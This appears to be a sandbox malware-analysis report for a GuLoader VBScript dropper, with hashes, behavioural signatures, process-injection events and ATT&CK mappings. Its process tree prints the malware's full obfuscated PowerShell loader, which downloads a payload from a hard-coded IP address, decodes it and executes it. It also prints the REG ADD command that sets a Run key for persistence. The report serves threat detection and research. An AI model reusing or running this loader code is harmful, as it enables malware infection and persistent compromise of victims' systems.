guloader | 1e048a31bbae946fa9e0f8ec97fcc43732b396c9a5a1b58d3ac3e8562a34fd51

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
28-06-2024 02:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c6264b70bc76be0d3d1d461e357db3b0fa9397fd7fd70740824dea2663abf4c0.vbs
Size

186KB
MD5

24cf2fb7a16835406fbb8110f7728d06
SHA1

c86b83506bcd6e6a5e72dd59b80f6d73fe7acd1c
SHA256

c6264b70bc76be0d3d1d461e357db3b0fa9397fd7fd70740824dea2663abf4c0
SHA512

85c37a37fd4e63f9add57055f65f887c5f21f37ff66caae518508b2e0e815a9daa14db8dbbf6dfa8162cb127d2d7f834d61c17dd707da8caf396cf46075ed936
SSDEEP

3072:5mN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZw:508GxbKja3+DCbKCvBB/WnHXC/sLJFJD

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Blocklisted process makes network request 2 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 1744 WScript.exe
6 2640 powershell.exe

flow	pid	process
3	1744	WScript.exe
6	2640	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\Lamenting = "%Hyraciform% -w 1 $Inextinguishables=(Get-ItemProperty -Path 'HKCU:\\Americas\\').skrupulses;%Hyraciform% ($Inextinguishables)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

2488 wab.exe
2488 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

1800 powershell.exe
2488 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1800 set thread context of 2488 1800 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1804 reg.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

2640 powershell.exe
1800 powershell.exe
1800 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

1800 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2640 powershell.exe
Token: SeDebugPrivilege 1800 powershell.exe

pid	process
2488	wab.exe
2488	wab.exe

pid	process
1800	powershell.exe
2488	wab.exe

description	pid	process	target process
PID 1800 set thread context of 2488	1800	powershell.exe	wab.exe

pid	process
1804	reg.exe

pid	process
2640	powershell.exe
1800	powershell.exe
1800	powershell.exe

pid	process
1800	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	1800	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 1744 wrote to memory of 2640	1744	WScript.exe	powershell.exe
PID 1744 wrote to memory of 2640	1744	WScript.exe	powershell.exe
PID 1744 wrote to memory of 2640	1744	WScript.exe	powershell.exe
PID 2640 wrote to memory of 2524	2640	powershell.exe	cmd.exe
PID 2640 wrote to memory of 2524	2640	powershell.exe	cmd.exe
PID 2640 wrote to memory of 2524	2640	powershell.exe	cmd.exe
PID 2640 wrote to memory of 1800	2640	powershell.exe	powershell.exe
PID 2640 wrote to memory of 1800	2640	powershell.exe	powershell.exe
PID 2640 wrote to memory of 1800	2640	powershell.exe	powershell.exe
PID 2640 wrote to memory of 1800	2640	powershell.exe	powershell.exe
PID 1800 wrote to memory of 2836	1800	powershell.exe	cmd.exe
PID 1800 wrote to memory of 2836	1800	powershell.exe	cmd.exe
PID 1800 wrote to memory of 2836	1800	powershell.exe	cmd.exe
PID 1800 wrote to memory of 2836	1800	powershell.exe	cmd.exe
PID 1800 wrote to memory of 2488	1800	powershell.exe	wab.exe
PID 1800 wrote to memory of 2488	1800	powershell.exe	wab.exe
PID 1800 wrote to memory of 2488	1800	powershell.exe	wab.exe
PID 1800 wrote to memory of 2488	1800	powershell.exe	wab.exe
PID 1800 wrote to memory of 2488	1800	powershell.exe	wab.exe
PID 1800 wrote to memory of 2488	1800	powershell.exe	wab.exe
PID 2488 wrote to memory of 1656	2488	wab.exe	cmd.exe
PID 2488 wrote to memory of 1656	2488	wab.exe	cmd.exe
PID 2488 wrote to memory of 1656	2488	wab.exe	cmd.exe
PID 2488 wrote to memory of 1656	2488	wab.exe	cmd.exe
PID 1656 wrote to memory of 1804	1656	cmd.exe	reg.exe
PID 1656 wrote to memory of 1804	1656	cmd.exe	reg.exe
PID 1656 wrote to memory of 1804	1656	cmd.exe	reg.exe
PID 1656 wrote to memory of 1804	1656	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c6264b70bc76be0d3d1d461e357db3b0fa9397fd7fd70740824dea2663abf4c0.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales';$anticamera = 1;Function Nihilisten($Sermonettino){$Dansesteder=$Sermonettino.Length-$anticamera;$Sporeplantes='SUBSTRIN';$Sporeplantes+='G';For( $Renoveringerne=1;$Renoveringerne -lt $Dansesteder;$Renoveringerne+=2){$Andetsprog+=$Sermonettino.$Sporeplantes.Invoke( $Renoveringerne, $anticamera);}$Andetsprog;}function Rectangular($Buoyant){ . ($Enschedule22) ($Buoyant);}$Dory=Nihilisten 'CM o z,iKl l.a,/C5 . 0 M( W i,nSdVo.wAs. TN T. 1 0 . 0 ; AW.i n 6R4 ;A Gx 6t4z;A Lr.v :.1G2.1.. 0 )o AGVeScNk o./ 2L0S1.0 0 1M0,1U ,FNiArTe.f oSx /,1.2,1 .F0F ';$Strejfet=Nihilisten 'AU,s eSr - A.g e.njtT ';$Friktion=Nihilisten 'ShGtPtFpF: /R/M1E0O3A.T1 9 5B.V2 3 7A.S4M3 /NApdSnEaPt,i,oBnS.VqSxgdC ';$Salvadoriansk=Nihilisten '.>B ';$Enschedule22=Nihilisten ',iCeGx. ';$Cartogram='Faldskrmssoldaters';$Inocarpin = Nihilisten '.e c,hUo, %,aCp.pLd a.t.a.%,\TS,aMl,tPuBrLt e,rOn e s .dGAe vU U&U& .e c.h oF HtU ';Rectangular (Nihilisten ' $ gRl.oSb a l :GSSaEm v iBtHtCi gJhVePdrsGlDs eFs.t 1 9S5T=S(Sc mFd ./Oc, L$ IEnAoscFa r pMi,n,) ');Rectangular (Nihilisten 'A$DgslAo b aAl : BMu n g,lZeI2R1.5T=D$ F.r iUk tAi.o.n . s pBl i t ( $ SAaPl,v,aSd o r iAa nKs kG) ');Rectangular (Nihilisten 'E[MNRe tK.,SMeRr v i c,eAP oIi n tCMBa.nRaGg e ru]O:T:CS,eVc.u.rMi tUy P r o,t.oBcDo l =I T[SNSeSt .SSTe ctu,rSi,t y.PAr,oStBoFc o,l TIy p eA]p:T:ETNlrsE1 2S ');$Friktion=$Bungle215[0];$ryaens= (Nihilisten 'T$ g lNoTbSa l :KS kLrSi vHe lSaSb e,lI= N epw -BO b j,eTcStM .S yOsEtseSm .RNSe.t.. W,e bNCfl iBeBn,t');$ryaens+=$Samvittighedslsest195[1];Rectangular ($ryaens);Rectangular (Nihilisten 'r$,S,k.r iSvOe.lUaBb.eUlL..HPeAaEd,e,rPs,[ $ S t,rPe.j.f eEtN] = $,DmoArKyV ');$Revellings251=Nihilisten ' $.STkBrSi v eNlTaUbSeTlM.LD oWw nOlUoAa,dDF iAlGeV(,$BFPr i,k t iFoPn ,K$CRFaSmLmUe,r,)P ';$Rammer=$Samvittighedslsest195[0];Rectangular (Nihilisten 'B$FgBl.oVbbaPlw:OA f,sDkQe dys f ebsFtPeCn sR=,( TdeSsPtV-,PUaPtWhF ,$,R aKm.m.e.rS)S ');while (!$Afskedsfestens) {Rectangular (Nihilisten ' $dgDl oHb aSlA: H vBiDl e nBeR=,$,t,rSuTeO ') ;Rectangular $Revellings251;Rectangular (Nihilisten 'SSKtFaVrKt.-HSRlAeAe.pR .4 ');Rectangular (Nihilisten 'R$Fg l oJb,aHlF:aA f sSkSeAdAs,fseLsOtEe,n sT= (ST.e s t - PFaPtRhN $YRUaNmpm e,rL) ') ;Rectangular (Nihilisten 'A$LgIl o bBaUlt:,TUe n oBuDr,sU6P2V=B$ g l oHbBa lL: MWa d,eNi r aCn.+.+ % $,B.u,n g,l e 2 1V5 .Hc o,u n,t. ') ;$Friktion=$Bungle215[$Tenours62];}$centrifugeringen=327851;$Laeotropic=24997;Rectangular (Nihilisten 'E$.g l,o b a,lC:.nBe cDr o pbh aDg y. .=M AG e,t -IC oSnSt eunVt .$FRCa m m eOrS ');Rectangular (Nihilisten ' $Pg,lSo,b aMl : ETx o c cAiKp i tVa,l =P [,S,y,sGtaeEmC. CFoDn vFeWr.t ] : :CF,rVo,mRBOa s,eR6,4TSFt ruiLnRgH(a$,n.e.cHr o pCh aSgPyV)M ');Rectangular (Nihilisten 'K$,gOlUo b aMl,:UR g eTrTr.imgAhIe d eFr n els. = [ S yFs,tPeFmG. TEeuxOtV.KE,n,cAopdri nDgU]P:,:FA SBC IEIF.RGOe.t SStHr iPnRgF(M$ ETx oGcscNi pUi tkaPl )B ');Rectangular (Nihilisten ' $ gSlTo b a lD:.JPurdJgPeSs,h,iSpR=A$ RLgFeZrMrSi gAhOeMdDeGr nFe,sB.BsFuibPs tmrBiAnTgL(S$ c eKnAt r.i f,uSgte r iMn.g e,nC,.$,LBaAe o tMr o pBiAc,), ');Rectangular $Judgeship;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2640

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Salturternes.Gev && echo t"
3⤵
PID:2524

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales';$anticamera = 1;Function Nihilisten($Sermonettino){$Dansesteder=$Sermonettino.Length-$anticamera;$Sporeplantes='SUBSTRIN';$Sporeplantes+='G';For( $Renoveringerne=1;$Renoveringerne -lt $Dansesteder;$Renoveringerne+=2){$Andetsprog+=$Sermonettino.$Sporeplantes.Invoke( $Renoveringerne, $anticamera);}$Andetsprog;}function Rectangular($Buoyant){ . ($Enschedule22) ($Buoyant);}$Dory=Nihilisten 'CM o z,iKl l.a,/C5 . 0 M( W i,nSdVo.wAs. TN T. 1 0 . 0 ; AW.i n 6R4 ;A Gx 6t4z;A Lr.v :.1G2.1.. 0 )o AGVeScNk o./ 2L0S1.0 0 1M0,1U ,FNiArTe.f oSx /,1.2,1 .F0F ';$Strejfet=Nihilisten 'AU,s eSr - A.g e.njtT ';$Friktion=Nihilisten 'ShGtPtFpF: /R/M1E0O3A.T1 9 5B.V2 3 7A.S4M3 /NApdSnEaPt,i,oBnS.VqSxgdC ';$Salvadoriansk=Nihilisten '.>B ';$Enschedule22=Nihilisten ',iCeGx. ';$Cartogram='Faldskrmssoldaters';$Inocarpin = Nihilisten '.e c,hUo, %,aCp.pLd a.t.a.%,\TS,aMl,tPuBrLt e,rOn e s .dGAe vU U&U& .e c.h oF HtU ';Rectangular (Nihilisten ' $ gRl.oSb a l :GSSaEm v iBtHtCi gJhVePdrsGlDs eFs.t 1 9S5T=S(Sc mFd ./Oc, L$ IEnAoscFa r pMi,n,) ');Rectangular (Nihilisten 'A$DgslAo b aAl : BMu n g,lZeI2R1.5T=D$ F.r iUk tAi.o.n . s pBl i t ( $ SAaPl,v,aSd o r iAa nKs kG) ');Rectangular (Nihilisten 'E[MNRe tK.,SMeRr v i c,eAP oIi n tCMBa.nRaGg e ru]O:T:CS,eVc.u.rMi tUy P r o,t.oBcDo l =I T[SNSeSt .SSTe ctu,rSi,t y.PAr,oStBoFc o,l TIy p eA]p:T:ETNlrsE1 2S ');$Friktion=$Bungle215[0];$ryaens= (Nihilisten 'T$ g lNoTbSa l :KS kLrSi vHe lSaSb e,lI= N epw -BO b j,eTcStM .S yOsEtseSm .RNSe.t.. W,e bNCfl iBeBn,t');$ryaens+=$Samvittighedslsest195[1];Rectangular ($ryaens);Rectangular (Nihilisten 'r$,S,k.r iSvOe.lUaBb.eUlL..HPeAaEd,e,rPs,[ $ S t,rPe.j.f eEtN] = $,DmoArKyV ');$Revellings251=Nihilisten ' $.STkBrSi v eNlTaUbSeTlM.LD oWw nOlUoAa,dDF iAlGeV(,$BFPr i,k t iFoPn ,K$CRFaSmLmUe,r,)P ';$Rammer=$Samvittighedslsest195[0];Rectangular (Nihilisten 'B$FgBl.oVbbaPlw:OA f,sDkQe dys f ebsFtPeCn sR=,( TdeSsPtV-,PUaPtWhF ,$,R aKm.m.e.rS)S ');while (!$Afskedsfestens) {Rectangular (Nihilisten ' $dgDl oHb aSlA: H vBiDl e nBeR=,$,t,rSuTeO ') ;Rectangular $Revellings251;Rectangular (Nihilisten 'SSKtFaVrKt.-HSRlAeAe.pR .4 ');Rectangular (Nihilisten 'R$Fg l oJb,aHlF:aA f sSkSeAdAs,fseLsOtEe,n sT= (ST.e s t - PFaPtRhN $YRUaNmpm e,rL) ') ;Rectangular (Nihilisten 'A$LgIl o bBaUlt:,TUe n oBuDr,sU6P2V=B$ g l oHbBa lL: MWa d,eNi r aCn.+.+ % $,B.u,n g,l e 2 1V5 .Hc o,u n,t. ') ;$Friktion=$Bungle215[$Tenours62];}$centrifugeringen=327851;$Laeotropic=24997;Rectangular (Nihilisten 'E$.g l,o b a,lC:.nBe cDr o pbh aDg y. .=M AG e,t -IC oSnSt eunVt .$FRCa m m eOrS ');Rectangular (Nihilisten ' $Pg,lSo,b aMl : ETx o c cAiKp i tVa,l =P [,S,y,sGtaeEmC. CFoDn vFeWr.t ] : :CF,rVo,mRBOa s,eR6,4TSFt ruiLnRgH(a$,n.e.cHr o pCh aSgPyV)M ');Rectangular (Nihilisten 'K$,gOlUo b aMl,:UR g eTrTr.imgAhIe d eFr n els. = [ S yFs,tPeFmG. TEeuxOtV.KE,n,cAopdri nDgU]P:,:FA SBC IEIF.RGOe.t SStHr iPnRgF(M$ ETx oGcscNi pUi tkaPl )B ');Rectangular (Nihilisten ' $ gSlTo b a lD:.JPurdJgPeSs,h,iSpR=A$ RLgFeZrMrSi gAhOeMdDeGr nFe,sB.BsFuibPs tmrBiAnTgL(S$ c eKnAt r.i f,uSgte r iMn.g e,nC,.$,LBaAe o tMr o pBiAc,), ');Rectangular $Judgeship;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1800

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Salturternes.Gev && echo t"
4⤵
PID:2836

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2488

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lamenting" /t REG_EXPAND_SZ /d "%Hyraciform% -w 1 $Inextinguishables=(Get-ItemProperty -Path 'HKCU:\Americas\').skrupulses;%Hyraciform% ($Inextinguishables)"
5⤵
- Suspicious use of WriteProcessMemory
PID:1656

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lamenting" /t REG_EXPAND_SZ /d "%Hyraciform% -w 1 $Inextinguishables=(Get-ItemProperty -Path 'HKCU:\Americas\').skrupulses;%Hyraciform% ($Inextinguishables)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:1804

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9YZ5TW84ORTU9D7W04T7.temp
Filesize
7KB

MD5
7c6c6913f7b583e8f5d3d9f12261b749

SHA1
01f71a3a3d3c31c27425531fdf0449d04be341e9

SHA256
c850b6276fc889fdedc1609a9f964cf9559b9108485a5450e3e4fb26968b864b

SHA512
4ca78cd66bde6f93b0df7d42ae461fb0f48a7c7fc1f72a5a5b22b1a9b114fce04484d79ab4b1725df10f687365dff1347ab6d01fa0dc2d6e42a6134047cbe984

Download Submit
C:\Users\Admin\AppData\Roaming\Salturternes.Gev
Filesize
459KB

MD5
6ef66957717bc15ae76851390564ca9c

SHA1
5bb6373bcaecfaa6a584185d9c0980cdb9860611

SHA256
391996b3a8b0a6ad1aac1fb9834fb1b266d009733e6c1e8c7684f213de528716

SHA512
3f5febee655e3cd58f73fef4e24b0526469c777555dfc027ab9634e46439d24ce11cc97d64af0d2c8affcade2b34058304b12687d0ac6eb419e80130da219a71

Download Submit
memory/1800-35-0x0000000006870000-0x00000000081F3000-memory.dmp

Filesize
25.5MB

Download
memory/2488-39-0x0000000001A40000-0x00000000033C3000-memory.dmp

Filesize
25.5MB

Download
memory/2488-37-0x00000000009D0000-0x0000000001A32000-memory.dmp

Filesize
16.4MB

Download
memory/2640-27-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2640-21-0x000007FEF565E000-0x000007FEF565F000-memory.dmp

Filesize
4KB

Download
memory/2640-26-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2640-25-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2640-33-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2640-34-0x000007FEF565E000-0x000007FEF565F000-memory.dmp

Filesize
4KB

Download
memory/2640-24-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download
memory/2640-22-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2640-23-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2640-41-0x000007FEF53A0000-0x000007FEF5D3D000-memory.dmp

Filesize
9.6MB

Download